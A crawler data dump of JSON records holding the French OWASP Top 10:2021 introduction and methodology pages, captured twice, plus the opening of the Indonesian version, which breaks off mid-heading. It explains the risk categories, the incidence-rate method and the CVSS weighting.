pourraient manquer les tendances de l'année écoulée, qui ne sont pas présentes dans les données.\n\nPar conséquent, nous ne sélectionnons que huit catégories sur dix à partir des données, car elles sont incomplètes. Les deux autres catégories proviennent de l'enquête communautaire Top 10. Cela permet aux praticiens en première ligne de voter pour ce qu'ils considèrent comme les risques les plus élevés qui pourraient ne pas être représentés par les données (et qui pourraient ne jamais être exprimés par les données).\n\n## Pourquoi le taux d'incidence au lieu de la fréquence ?\n\nIl y a trois sources principales de données. Nous les identifions comme étant l'outillage assisté par l'homme (OaH), l'homme assisté par l'outil (HaO) et l'outillage brut.\n\nL'outillage et l'OaH sont des générateurs de recherche à haute fréquence. Les outils cherchent des vulnérabilités spécifiques, tentent inlassablement de trouver chaque instance de cette vulnérabilité et génèrent un nombre élevé de découvertes pour certains types de vulnérabilité. Prenez *Cross-Site Scripting*, qui est généralement l'une de ces deux variantes : il s'agit soit d'une erreur mineure et isolée, soit d'un problème systémique. Lorsqu'il s'agit d'un problème systémique, le nombre de constatations peut se chiffrer par milliers pour une seule application. Cette fréquence élevée noie la plupart des autres vulnérabilités trouvées dans les rapports ou les données.\n\nL'HaO, d'autre part, trouvera une gamme plus large de types de vulnérabilités mais à une fréquence beaucoup plus faible en raison de contraintes de temps. Lorsque les humains testent une application et détectent une vulnérabilité comme *Cross-Site Scripting*, ils trouveront généralement trois ou quatre instances et s'arrêteront. Ils peuvent déterminer une découverte systémique et la rédiger avec une recommandation à corriger à l'échelle de l'application. Il n'y a pas de besoin (ou de temps) de trouver chaque instance.\n\nSupposons que nous prenions ces deux ensembles de données distincts et essayions de les fusionner en se basant sur la fréquence. Dans ce cas, les données d'outillage et d'OaH noieront les données HaO plus précises (mais plus larges) et expliquent en grande partie pourquoi une catégorie comme *Cross-Site Scripting* a été si bien classée dans de nombreuses listes alors que l'impact est généralement faible à modéré. C'est à cause du volume considérable de résultats. Le *Cross-Site Scripting* est également assez facile à tester, il y a donc beaucoup plus de tests pour cela.\n\nEn 2017, nous avons introduit le taux d'incidence pour jeter un nouveau regard sur les données et fusionner proprement les données d'outillage et d'OaH avec les données d'HaO. Le taux d'incidence demande quel pourcentage de la population d'applications avait au moins une instance d'un type de vulnérabilité. Peu nous importe si c'était ponctuel ou systémique. Ce n'est pas pertinent pour nos fins ; nous avons seulement besoin de savoir combien d'applications ont eu au moins une instance, ce qui permet de fournir une vue plus claire des résultats des tests sur plusieurs types de tests sans noyer les données dans des résultats à haute fréquence. Cela correspond à une vue liée au risque, car un attaquant n'a besoin que d'une seule instance pour attaquer une application avec succès via la catégorie.\n\n## Quel est votre processus de collecte et d'analyse des données ?\n\nNous avons formalisé le processus de collecte de données de l'OWASP Top 10 lors de l'*Open Security Summit* en 2017. Les dirigeants de l'OWASP Top 10 et la communauté ont passé deux jours à formaliser un processus de collecte de données transparent. Cette méthodologie est utilisée pour la seconde fois lors de l'édition 2021.\n\nNous publions un appel à données via les canaux de réseaux sociaux à notre disposition, à la fois au niveau du projet et de l'OWASP. Sur la page du projet sur le site de l'OWASP, nous listons les éléments de données et la structure que nous recherchons et comment les soumettre. Dans le projet GitHub, nous avons des exemples de fichiers qui servent de modèles. Nous travaillons avec des organisations au besoin pour aider à comprendre la structure et la correspondance avec les CWEs.\n\nNous obtenons des données d'organisations spécialisées dans l'audit de sécurité, de plateformes de bug bounty et d'organisations qui fournissent des données de tests internes. Une fois que nous avons les données, nous les chargeons ensemble et effectuons une analyse fondamentale de quelles CWEs sont associées aux catégories de risque. Il existe un chevauchement entre certaines CWEs et d'autres sont très étroitement liées (par exemple, les vulnérabilités cryptographiques). Toutes les décisions liées aux données brutes soumises sont documentées et publiées pour être ouvertes et transparentes avec la façon dont nous avons normalisé les données.\n\nNous examinons les huit catégories avec les taux d'incidence les plus élevés pour l'inclusion dans le Top 10. Nous examinons également les résultats de l'enquête communautaire Top 10 pour voir lesquels peuvent déjà être présents dans les données. Les deux premiers votes qui ne sont pas déjà présents dans les données seront sélectionnés pour les deux autres places du Top 10. Une fois les dix sélectionnées, nous avons appliqué des facteurs généralisés pour l'exploitabilité et l'impact ; pour aider à classer le Top 10 2021 dans un ordre basé sur les risques.\n\n## Facteurs des données\n\nDes facteurs sont répertoriés pour chacune des 10 principales catégories, voici ce qu'ils signifient :\n\n- CWEs associées : le nombre de CWEs associées à une catégorie par l'équipe du Top 10.\n- Taux d'incidence : le taux d'incidence est le pourcentage d'applications vulnérables à cette CWE parmi la population testée par cette organisation pour cette année.\n- Couverture (Test) : Le pourcentage d'applications testées par toutes les organisations pour une CWE donnée.\n- Exploitation pondérée : le sous-score Exploitation des scores CVSSv2 et CVSSv3 attribués aux CVEs associées aux CWEs, normalisés et placés sur une échelle de 10 points.\n- Impact pondéré : le sous-score d'impact des scores CVSSv2 et CVSSv3 attribués aux CVEs associées aux CWEs, normalisés et placés sur une échelle de 10 points.\n- Nombre total d'occurrences : nombre total d'applications trouvées pour lesquelles les CWEs sont associées à une catégorie.\n- Nombre total de CVEs : nombre total de CVEs dans la base de données NVD qui ont été associées aux CWEs associées à une catégorie.\n\n## Merci à nos contributeurs de données\n\nLes organisations suivantes (ainsi que certains donateurs anonymes) ont aimablement fait don des données de plus de 500 000 applications pour en faire l'ensemble de données de sécurité des applications le plus vaste et le plus complet. Sans vous, cela ne serait pas possible.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Merci à notre sponsor\n\nL'équipe de l'OWASP Top 10 2021 remercie le soutien financier de Secure Code Warrior et Just Eat.", "znaku_textu": 19442, "slov": 3000, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:41", "sha256": "4e3a45b3585ba882e28f4c09bb6b801bd0052b2abc2bac3756c26c31f2814441", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/fr/index.html", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Introduction", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/fr/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Bienvenue à l'OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Les changements du Top 10 pour 2021"}, {"uroven": 2, "text": "Méthodologie"}, {"uroven": 2, "text": "Pourquoi ne pas se reposer uniquement sur des données statistiques ?"}, {"uroven": 2, "text": "Pourquoi le taux d'incidence au lieu de la fréquence ?"}, {"uroven": 2, "text": "Quel est votre processus de collecte et d'analyse des données ?"}, {"uroven": 2, "text": "Facteurs des données"}, {"uroven": 2, "text": "Merci à nos contributeurs de données"}, {"uroven": 2, "text": "Merci à notre sponsor"}], "markdown": "# Introduction\n\n## Bienvenue à l'OWASP Top 10 - 2021\n\nBienvenue à cette nouvelle édition de l'OWASP Top 10 ! L'OWASP Top 10 2021 apporte de nombreux changements, avec notamment une nouvelle interface et une nouvelle infographie, disponible sur un format d'une page qu'il est possible de se procurer depuis notre page d'accueil.\n\nUn très grand merci à l'ensemble des personnes qui ont contribué de leur temps et leurs données pour cette itération. Sans vous, cette mouture n'aurait pas vu le jour. **MERCI**.\n\n## Les changements du Top 10 pour 2021\n\nIl y a trois nouvelles catégories, quatre catégories avec un changement de nom et de périmètre, ainsi que des consolidations dans ce Top 10 2021. Nous avons changé les noms si nécessaire pour se concentrer sur la cause plutôt que le symptôme.\n\n- **[A01:2021-Contrôles d'accès défaillants](A01_2021-Broken_Access_Control/)** passe de la cinquième position à celle de catégorie présentant le risque de sécurité le plus sérieux pour une application web ; les données partagées indiquent, qu'en moyenne, 3,81% des applications testées avaient une ou plusieurs *Common Weakness Enumeration* (CWEs) avec plus de 318k occurrences de CWEs de cette catégorie. Les 34 CWEs associées ont eu plus d'occurrences dans les applications auditées que n'importe quelle autre catégorie.\n- **[A02:2021-Défaillances cryptographiques](A02_2021-Cryptographic_Failures/)** gagne une position et prend la deuxième place, précédemment connue sous le nom de **A3:2017-Exposition de données sensibles** , qui était un symptôme large plutôt qu'une cause principale. L'accent est mis sur des défaillances liées à la cryptographie, ce qui était le cas implicitement auparavant. Cette catégorie entraîne souvent une exposition de données sensibles ou une compromission de système.\n- **[A03:2021-Injection](A03_2021-Injection/)** glisse à la troisième position. 94% des applications ont été testées sur des vulnérabilités de ce type, avec une incidence maximale de 19% et une incidence moyenne de 3,37%. Les 33 CWEs associées à cette catégorie ont eu le deuxième plus grand nombre d'occurrences. *Cross-Site Scripting* fait désormais partie de cette catégorie dans cette édition.\n- **[A04:2021-Conception non sécurisée](A04_2021-Insecure_Design/)** est une nouvelle catégorie, avec un accent sur les défauts de conception. Si nous voulons ajouter des contrôles en amont, nous avons besoin de modèles de menaces, de modèles et principes de conception sécurisés, et d'architectures de référence. Une conception non sécurisée ne peut pas être corrigé par une implémentation parfaite car, par définition, les contrôles de sécurité nécessaires pour se défendre contre certaines attaques n'ont jamais été créés.\n- **[A05:2021-Mauvaise configuration de sécurité](A05_2021-Security_Misconfiguration/)** gagne une place ; 90% des applications ont été testées sur des vulnérabilités de ce type, avec une incidence moyenne de 4,5% et plus de 208k occurrences des CWEs associées. Avec des logiciels de plus en plus paramétrables, il n'est pas surprenant de voir cette catégorie prendre de l'ampleur. L'ancienne catégorie **A4:2017-XML Entités externes (XXE)** est incluse dans celle-ci.\n- **[A06:2021-Composants vulnérables et obsolètes](A06_2021-Vulnerable_and_Outdated_Components/)** était précédemment nommée *Utilisation de Composants avec des Vulnérabilités Connues* . Elle se place deuxième de l'enquête auprès de la communauté du Top 10, mais pouvait également entrer dans le Top 10 via l'analyse de données. Cette catégorie progresse depuis sa neuvième place en 2017, elle est un problème connu dont nous avons du mal à tester et à mesurer les risques. Il s'agit de la seule catégorie à n'avoir aucunes *Common Vulnerability and Exposures* (CVEs) associées aux CWEs concernées, en conséquence les coefficients d'impact et de poids ont été renseignés à 5.0 par défaut.\n- **[A07:2021-Identification et authentification de mauvaise qualité](A07_2021-Identification_and_Authentication_Failures/)** était précédemment *Authentification de mauvaise qualité* , elle perd la deuxième place. Elle inclut désormais des CWEs également liées aux échecs d'identification. Cette catégorie est toujours présente dans le Top 10, mais la mise à disposition croissante de frameworks standardisés semble aider.\n- **[A08:2021-Manque d'intégrité des données et du logiciel](A08_2021-Software_and_Data_Integrity_Failures/)** est une nouvelle catégorie, se concentrant sur la formulation d'hypothèses sur les mises à jour logicielles, les données critiques et les pipelines CI/CD sans vérifier leur intégrité. L'un des impacts les plus élevés à partir des données de *Common Vulnerability and Exposures/Common Vulnerability Scoring System* (CVE/CVSS) associées aux 10 CWEs de cette catégorie. **A8:2017-Désérialisation non sécurisée** , listée en 2017, est désormais partie intégrante de cette catégorie.\n- **[A09:2021-Carence des systèmes de contrôle et de journalisation](A09_2021-Security_Logging_and_Monitoring_Failures/)** , précédemment **A10:2017-Supervision et Journalisation Insuffisantes** , est ajoutée de l'enquête auprès de l'industrie (3ème), précédemment à la dixième place. Cette catégorie a été étendue pour inclure plus de types de défaillances, est difficile à tester et est dès lors mal représentée dans les données CVE/CVSS. Toutefois, des incidents dans cette catégorie peuvent impacter directement la visibilité, la levée d'alertes et l'analyse forensique.\n- **[A10:2021-Falsification de requête côté serveur](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** provient de l'enquête auprès de la communauté Top 10 (1ère). Les données montrent une incidence faible, avec un taux de couverture des tests supérieur à la moyenne, accompagné de notes de potentiel d'exploitabilité et d'impact supérieur à la moyenne. Cette catégorie est un exemple où les membres de la communauté sécurité nous indiquent que cette catégorie est importante, même si cela ne transparaît pas encore dans les données.\n\n## Méthodologie\n\nCette version du Top 10 est bien plus basée sur des données que les précédentes, mais elle n'est pas pour autant aveuglée par celles-ci. Parmi les dix catégories, huit proviennent des données fournies et les deux dernières proviennent d'une enquête à haut niveau auprès de la communauté. Nous faisons ceci pour une raison fondamentale, observer les données consiste à observer le passé. Les chercheurs en sécurité s'investissent pour trouver de nouvelles vulnérabilités et de nouveaux moyens pour les détecter. Un temps certain est nécessaire pour intégrer ces tests au sein des outils et des processus. Au moment où nous pouvons tester ces vulnérabilités à l'échelle, des années se sont bien souvent écoulées. Pour équilibrer cette approche, nous avons utilisé une enquête communautaire pour demander aux experts en sécurité applicative et en développement, en première ligne, ce qu'ils constatent comme failles essentielles, que les données pourraient ne pas encore montrer.\n\nNous avons adopté quelques changements importants pour continuer à faire mûrir le Top 10.\n\nQuelques catégories ont changé depuis la précédente édition de l'OWASP Top Ten. Voici ici un bref résumé des changements.\n\nLes précédentes collectes de données étaient concentrées sur un sous ensemble d'approximativement 30 CWEs accompagnées d'un champ demandant des découvertes complémentaires. Nous avons appris que les organisations se concentraient sur les seules 30 CWEs et n'ajoutaient que rarement d'autres CWEs qu'elles rencontraient. Dans cette édition, nous nous sommes contentés de demander des données, sans aucune restriction sur les CWEs. Nous avons demandé le nombre d'applications testées pour une année donnée (à partir de 2017), et le nombre d'applications avec au moins une instance d'une CWE trouvée lors des tests. Ce format nous permet de déterminer la prévalence de chaque CWE au sein des applications. Nous ignorons la fréquence pour nos besoins ; bien que cela pourrait être nécessaire dans d'autres situations, cela cache la prévalence au sein du panel. Qu'une application ait quatre instances d'une CWE ou 4 000 ne fait pas partie du calcul du Top 10. Nous sommes passés d'approximativement 30 CWEs à près de 400 CWEs à analyser dans le jeu de données. Nous prévoyons d'ajouter des analyses complémentaires dans le futur. Cette augmentation significative dans le nombre de CWEs nécessite des changements dans la façon dont les catégories sont structurées.\n\nNous avons passé plusieurs mois à regrouper et catégoriser les CWEs. Nous aurions pu continuer encore pendant des mois. Nous avons dû nous arrêter à un moment donné. Il existe à la fois des CWEs de type *cause racine* et *symptôme*, où les types *cause racine* sont de la forme \"Défaillances cryptographiques\" et \"Mauvaise configuration\", en contraste avec les types *symptôme* tels que \"Exposition de données sensibles\" et \"Déni de service\". Nous avons décidé de nous concentrer sur les types *cause racine* autant que possible car ils sont plus logiques pour fournir des conseils d'identification et de remédiation. Se concentrer sur la *cause racine* plutôt que le *symptôme* n'est pas un concept nouveau ; le Top 10 a été un mélange de *symptômes* et de *causes racines*. Les CWEs le sont également ; nous faisons ce choix délibérément et lançons un appel à ce sujet. Il y a une moyenne de 19,6 CWEs par catégorie dans cette édition, avec un minimum d'1 CWE pour **A10:2021-Falsification de requête côté serveur** et un maximum de 40 CWEs pour **A04:2021-Conception non sécurisée**. Cette nouvelle organisation de catégories apporte des avantages pour les formations, les sociétés peuvent se concentrer sur les CWEs les plus pertinentes pour un langage ou un framework.\n\nEn 2017, nous avons sélectionné les catégories à partir du taux d'incidence pour déterminer la probabilité, puis les avons classées via des discussions en équipe basées sur des décennies d'expérience sur des critères d'*Exploitabilité*, *Détectabilité* (également *probabilité*) et *Impact technique*. Pour 2021, nous souhaitons, si possible, utiliser des données pour *Exploitabilité* et *Impact (technique)*.\n\nNous avons téléchargé OWASP Dependency Check et extrait les scores CVSS d'exploitabilité et d'impact agrégés par CWE connexes. Cela a nécessité un temps de recherche significatif, car toutes les CVEs ont un score CVSSv2, mais celui-ci possède des défauts que CVSSv3 devrait corriger. Après un certain temps, toutes les CVEs reçoivent également un score CVSSv3. De plus, les plages de notation et les formules ont été mises-à-jour entre CVSSv2 et CVSSv3.\n\nEn CVSSv2, *Exploitabilité* et *Impact (technique)* peuvent atteindre 10, mais la formule les ramène à 60 % pour *Exploitabilité* et 40 % pour *Impact*. En CVSSv3, le maximum théorique est limité à 6,0 pour *Exploitabilité* et 4,0 pour *Impact*. Avec la pondération prise en compte, le score d'impact a augmenté, de près d'un point et demi en moyenne dans CVSSv3, et l'exploitabilité a baissé de près d'un demi-point en moyenne.\n\nIl y a 125 000 enregistrements d'une CVE associée à une CWE dans les données de la National Vulnerability Database (NVD) extraites d'OWASP Dependency Check, et il y a 241 CWE uniques associées à une CVE. 62 000 enregistrements ont un score CVSSv3, ce qui représente environ la moitié des données.\n\nPour le Top Ten 2021, nous avons calculé les scores moyens d'*exploitabilité* et d'*impact* de la manière suivante. Nous avons regroupé toutes les CVEs avec des scores CVSS par CWE et pondéré à la fois *exploitabilité* et *impact* notés par le pourcentage de la population qui disposait d'un score CVSSv3, plus la population restante de scores CVSSv2 pour obtenir une moyenne globale. Nous avons associé ces moyennes aux CWEs de l'ensemble de données à utiliser comme notes d'*Exploitabilité* et d'*Impact (technique)* pour l'autre moitié de l'équation de risque.\n\n## Pourquoi ne pas se reposer uniquement sur des données statistiques ?\n\nLes résultats obtenus à partir des données sont principalement limités à ce que nous pouvons tester de manière automatisée. Parlez à un professionnel chevronné de la sécurité, il vous parlera de ce qu'il trouve et des tendances qu'il observe qui ne sont pas encore dans les données. Il faut du temps aux gens pour développer des méthodologies de test pour certains types de vulnérabilités, puis plus de temps pour que ces tests soient automatisés et exécutés sur un grand nombre d'applications. Tout ce que nous trouvons sont des vestiges du passé qui pourraient manquer les tendances de l'année écoulée, qui ne sont pas présentes dans les données.\n\nPar conséquent, nous ne sélectionnons que huit catégories sur dix à partir des données, car elles sont incomplètes. Les deux autres catégories proviennent de l'enquête communautaire Top 10. Cela permet aux praticiens en première ligne de voter pour ce qu'ils considèrent comme les risques les plus élevés qui pourraient ne pas être représentés par les données (et qui pourraient ne jamais être exprimés par les données).\n\n## Pourquoi le taux d'incidence au lieu de la fréquence ?\n\nIl y a trois sources principales de données. Nous les identifions comme étant l'outillage assisté par l'homme (OaH), l'homme assisté par l'outil (HaO) et l'outillage brut.\n\nL'outillage et l'OaH sont des générateurs de recherche à haute fréquence. Les outils cherchent des vulnérabilités spécifiques, tentent inlassablement de trouver chaque instance de cette vulnérabilité et génèrent un nombre élevé de découvertes pour certains types de vulnérabilité. Prenez *Cross-Site Scripting*, qui est généralement l'une de ces deux variantes : il s'agit soit d'une erreur mineure et isolée, soit d'un problème systémique. Lorsqu'il s'agit d'un problème systémique, le nombre de constatations peut se chiffrer par milliers pour une seule application. Cette fréquence élevée noie la plupart des autres vulnérabilités trouvées dans les rapports ou les données.\n\nL'HaO, d'autre part, trouvera une gamme plus large de types de vulnérabilités mais à une fréquence beaucoup plus faible en raison de contraintes de temps. Lorsque les humains testent une application et détectent une vulnérabilité comme *Cross-Site Scripting*, ils trouveront généralement trois ou quatre instances et s'arrêteront. Ils peuvent déterminer une découverte systémique et la rédiger avec une recommandation à corriger à l'échelle de l'application. Il n'y a pas de besoin (ou de temps) de trouver chaque instance.\n\nSupposons que nous prenions ces deux ensembles de données distincts et essayions de les fusionner en se basant sur la fréquence. Dans ce cas, les données d'outillage et d'OaH noieront les données HaO plus précises (mais plus larges) et expliquent en grande partie pourquoi une catégorie comme *Cross-Site Scripting* a été si bien classée dans de nombreuses listes alors que l'impact est généralement faible à modéré. C'est à cause du volume considérable de résultats. Le *Cross-Site Scripting* est également assez facile à tester, il y a donc beaucoup plus de tests pour cela.\n\nEn 2017, nous avons introduit le taux d'incidence pour jeter un nouveau regard sur les données et fusionner proprement les données d'outillage et d'OaH avec les données d'HaO. Le taux d'incidence demande quel pourcentage de la population d'applications avait au moins une instance d'un type de vulnérabilité. Peu nous importe si c'était ponctuel ou systémique. Ce n'est pas pertinent pour nos fins ; nous avons seulement besoin de savoir combien d'applications ont eu au moins une instance, ce qui permet de fournir une vue plus claire des résultats des tests sur plusieurs types de tests sans noyer les données dans des résultats à haute fréquence. Cela correspond à une vue liée au risque, car un attaquant n'a besoin que d'une seule instance pour attaquer une application avec succès via la catégorie.\n\n## Quel est votre processus de collecte et d'analyse des données ?\n\nNous avons formalisé le processus de collecte de données de l'OWASP Top 10 lors de l'*Open Security Summit* en 2017. Les dirigeants de l'OWASP Top 10 et la communauté ont passé deux jours à formaliser un processus de collecte de données transparent. Cette méthodologie est utilisée pour la seconde fois lors de l'édition 2021.\n\nNous publions un appel à données via les canaux de réseaux sociaux à notre disposition, à la fois au niveau du projet et de l'OWASP. Sur la page du projet sur le site de l'OWASP, nous listons les éléments de données et la structure que nous recherchons et comment les soumettre. Dans le projet GitHub, nous avons des exemples de fichiers qui servent de modèles. Nous travaillons avec des organisations au besoin pour aider à comprendre la structure et la correspondance avec les CWEs.\n\nNous obtenons des données d'organisations spécialisées dans l'audit de sécurité, de plateformes de bug bounty et d'organisations qui fournissent des données de tests internes. Une fois que nous avons les données, nous les chargeons ensemble et effectuons une analyse fondamentale de quelles CWEs sont associées aux catégories de risque. Il existe un chevauchement entre certaines CWEs et d'autres sont très étroitement liées (par exemple, les vulnérabilités cryptographiques). Toutes les décisions liées aux données brutes soumises sont documentées et publiées pour être ouvertes et transparentes avec la façon dont nous avons normalisé les données.\n\nNous examinons les huit catégories avec les taux d'incidence les plus élevés pour l'inclusion dans le Top 10. Nous examinons également les résultats de l'enquête communautaire Top 10 pour voir lesquels peuvent déjà être présents dans les données. Les deux premiers votes qui ne sont pas déjà présents dans les données seront sélectionnés pour les deux autres places du Top 10. Une fois les dix sélectionnées, nous avons appliqué des facteurs généralisés pour l'exploitabilité et l'impact ; pour aider à classer le Top 10 2021 dans un ordre basé sur les risques.\n\n## Facteurs des données\n\nDes facteurs sont répertoriés pour chacune des 10 principales catégories, voici ce qu'ils signifient :\n\n- CWEs associées : le nombre de CWEs associées à une catégorie par l'équipe du Top 10.\n- Taux d'incidence : le taux d'incidence est le pourcentage d'applications vulnérables à cette CWE parmi la population testée par cette organisation pour cette année.\n- Couverture (Test) : Le pourcentage d'applications testées par toutes les organisations pour une CWE donnée.\n- Exploitation pondérée : le sous-score Exploitation des scores CVSSv2 et CVSSv3 attribués aux CVEs associées aux CWEs, normalisés et placés sur une échelle de 10 points.\n- Impact pondéré : le sous-score d'impact des scores CVSSv2 et CVSSv3 attribués aux CVEs associées aux CWEs, normalisés et placés sur une échelle de 10 points.\n- Nombre total d'occurrences : nombre total d'applications trouvées pour lesquelles les CWEs sont associées à une catégorie.\n- Nombre total de CVEs : nombre total de CVEs dans la base de données NVD qui ont été associées aux CWEs associées à une catégorie.\n\n## Merci à nos contributeurs de données\n\nLes organisations suivantes (ainsi que certains donateurs anonymes) ont aimablement fait don des données de plus de 500 000 applications pour en faire l'ensemble de données de sécurité des applications le plus vaste et le plus complet. Sans vous, cela ne serait pas possible.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Merci à notre sponsor\n\nL'équipe de l'OWASP Top 10 2021 remercie le soutien financier de Secure Code Warrior et Just Eat.", "znaku_textu": 19442, "slov": 3000, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/fr/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:07", "sha256": "4e3a45b3585ba882e28f4c09bb6b801bd0052b2abc2bac3756c26c31f2814441", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/id/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Pengantar", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/id/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Pengantar"}, {"uroven": 2, "text": "Selamat datang ke OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Apa yang berubah di Top 10 untuk 2021"}, {"uroven": 2, "text": "Metodologi"}, {"uroven": 2, "text": "Bagaimana kategori disusun"}, {"uroven": 2, "text": "Bagaimana data digunakan untuk memilih kategori"}, {"uroven": 2, "text": "Kenapa tidak hanya bersumber dari data statistik murni?"}, {"uroven": 2, "text": "Mengapa tingkatan insiden bukan bersumber dari frekuensi?"}, {"uroven": 2, "text": "Apa proses pengumpulan dan analisis data Anda?"}, {"uroven": 2, "text": "Faktor-faktor Data"}, {"uroven": 3, "text": "Hubungan Kategori dari 2017"}, {"uroven": 3, "text": "Terima kasih kepada kontributor data kami"}, {"uroven": 2, "text": "Thank you to our sponsor"}], "markdown": "# Pengantar\n\n## Selamat datang ke OWASP Top 10 - 2021\n\nSelamat datang ke versi terakhir dari OWASP Top 10! OWASP Top 10 2021 semua baru, dengan desain grafis baru dan suatu infografis satu-halaman yang dapat Anda cetak atau dapatkan dari beranda kami.\n\nTerima kasih sebesar-besarnya ke semua orang yang menyumbangkan waktu dan data mereka ke iterasi ini. Tanpa Anda, versi ini tidak akan ada. **TERIMA KASIH**\n\n## Apa yang berubah di Top 10 untuk 2021\n\nTerdapat tiga kategori baru, empat kategori dengan penamaan dan perbuahan ruang lingkup, dan beberapa konsolidasi baru di Top 10 untuk 2021\n\n- **A01:2021-Broken Access Control** naik dari posisi kelima; 94% dari aplikasi yang telah diuji dengan broken access kontrol dalam beberapa bentuk. 34 CWE yang dipetakan ke Broken Access Control memiliki lebih banyak kemunculan dalam aplikasi daripada kategori lainnya.\n- **A02:2021-Cryptographic Failures** menggeser satu posisi menjadi #2, sebelumnya dikenal sebagai Pengungkapan Data Sensitif, yang merupakan gejala luas dan bukan penyebab utama. Fokus baru di sini adalah pada kegagalan yang terkait dengan Kriptografi yang sering mengarah pada Pengungkapan Data Sensitif atau sistem yang telah terinfeksi oleh hacker.\n- **A03:2021-Injection** turun ke posisi ketiga. 94% aplikasi diuji untuk beberapa bentuk injeksi, dan 33 CWE yang dipetakan ke dalam kategori ini memiliki kejadian terbanyak kedua dalam aplikasi. Skrip cross-site sekarang menjadi bagian dari kategori ini dalam edisi ini.\n- **A04:2021-Insecure Design** adalah kategori baru untuk tahun 2021, dengan fokus pada resiko yang terkait dengan kekurangan desain. Jika kita ingin benar-benar bergerak sebagai industri, itu membutuhkan lebih banyak penggunaan pemodelan ancaman, pola dan desain yang aman, dan arsitektur referensi\n- **A05:2021-Security Misconfiguration** naik dari #6 di edisi sebelumnya; 90% aplikasi diuji untuk beberapa bentuk kesalahan konfigurasi. Dengan lebih banyak perubahan ke software dengan konfigurasi yang banyak, tidak mengherankan melihat kategori ini naik. Kategori sebelumnya untuk XML External Entities (XXE) sekarang menjadi bagian dari kategori ini.\n- **A06:2021-Vulnerable and Outdated Components** sebelumnya berjudul Using Components with Known Vulnerabilities dan #2 dalam survei industri, tapi juga memiliki cukup data untuk masuk TOP 10 melalui analisis data. Kategori ini naik dari #9 di tahun 2017 dan merupakan masalah umum yang kami perjuangkan untuk menguji dan menilai resiko. Ini adalah satu-satunya kategori yang tidak memiliki CVE yang dipetakan ke CWE yang disertakan, jadi eksploitasi default dan bobot dampak 5.0 diperhitungkan dalam skornya.\n- **A07:2021-Identification and Authentication Failures** sebelumnya dalah Broken Authentication dan turun dari posisi kedua, dan sekarang termasuk CWE yang lebih terkait dengan kegagalan identifikasi. Kategori ini masih merupakan bagian integral dari Top 10, tetapi peningkatan ketersediaan framework yang telah distandarisasi tampaknya membantu.\n- **A08:2021-Software and Data Integrity Failures** adalah kategori baru untuk tahun 2021, yang berfokus pada pembuatan asusmsi terkait pembaruan perangkat lunak, data penting, dan pipeline CI/CD tanpa memverifikasi integritas. Salah satu dampak tertinggi dari CVE/CVSS yang dipetakan ke 10 CWE dalam kategori ini. Insecure Deserialization dari tahun 2017 sekarang menjadi bagian dari kategori yang lebih besar ini.\n- **A09:2021-Security Logging and Monitoring Failures** sebelumnya Logging dan Monitoring tidak memadai dan ditambahkan dari survei industri (#3), naik dari #10 sebelumnya. Kategori ini diperluas untuk mencakup lebih banyak jenis kegagalan, suatu tantangan untuk diiuji, dan tidak terwakili dengan baik dalam data CVE/CVSS. Namun, kegagalan dalam kategori ini dapat secara langsung mempengaruhi visibilitas, alert pada insiden, dan forensik\n- **A10:2021-Server-Side Request Forgery** ditambahkan dari survei industri (#1). Data menunjukkan tingkat insiden yang relatif rendah dengan cakupan pengujian di atas rata-rata, bersama dengan peringkat di atas rata-rata untuk potensi eksploitasi dan dampak. Kategori ini mewakili skenario di mana para profesional industri memberi tahu kami bahwa ini penting, meskipun tidak diilustrasikan dalam data saat ini.\n\n## Metodologi\n\nPenyusunan dari Top 10 ini lebih didorong oleh data daripada sebelumnya tetapi tidak didorong oleh data yang tidak di verifikasi dahulu. Kami memilih delapan dari sepuluh kategori dari kontribusi data dan 2 kategori dari survei industri tingkat tinggi. Kami melakukan ini karena alasan mendasar, melihat data yang telah dikumpulkan sama dengan melihat ke masa lalu. Peneliti AppSec membutuhkan waktu untuk menemukan kerentanan baru dan cara baru untuk mengujinya. Dibutuhkan waktu untuk mengintegrasikan tes ini ke dalam alat dan proses. Pada saat kita dapat dengan andal menguji kelemahan dalam skala, tahun-tahun kemungkinan telah berlalu. Untuk menyeimbangkan pandangan itu, kami menggunakan survei industri untuk bertanya kepada orang-orang di garis depan apa yang mereka lihat sebagai kelemahan penting yang mungkin belum ditunjukkan oleh data.\n\nAda beberapa perubahan penting yang kami adopsi untuk terus mematangkan Top 10.\n\n## Bagaimana kategori 